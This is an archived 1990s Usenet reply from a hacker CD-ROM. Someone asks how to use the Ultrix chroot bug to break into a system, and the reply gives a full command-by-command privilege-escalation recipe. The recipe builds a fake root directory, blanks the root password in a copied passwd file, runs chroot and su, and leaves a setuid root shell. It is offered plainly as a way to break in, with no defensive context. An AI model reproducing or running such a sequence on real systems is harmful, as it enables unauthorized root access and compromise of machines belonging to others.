home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / chroot.ult / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  822 b   |  37 lines

  1. magni@ALPcom.it (Alessandro Magni) writes:
  2. >How can  I  use the chroot bug to break in in a Ultrix system?
  3. >Found it in CERT files.
  4.  
  5.  
  6. % cd $HOME
  7. % mkdir root
  8. % cd root
  9. % mkdir bin etc usr
  10. % cd bin
  11. % cp /bin/sh sh
  12. % cp /bin/su su
  13. % cd ../etc
  14. % cp /etc/passwd.orig passwd
  15. % cp /etc/group group
  16. % cp /bin/chmod chmod
  17. % cp /bin/chown chown
  18. % vi passwd (modify root password to root::0:0, etc...)
  19. % cd ..
  20. % chroot $HOME/root /bin/sh
  21. % su
  22. % chown root /bin/sh
  23. % chmod 2755 /bin/sh
  24. % chmod u+s /bin/sh
  25. % exit
  26. % exit
  27. % $HOME/root/bin/sh
  28.  
  29.  
  30. -- 
  31. /*  Will Spencer / Voyager        :  The advancement and diffusion  */
  32. /*  Member: TNO, The New Order    :  of knowledge is the only       */
  33. /*  alt.2600/#hack FAQ Editor     :  guardian of true liberty.      */
  34. /*  Writer, poet, hacker, human   :               -- James Madison  */
  35.  
  36.  
  37.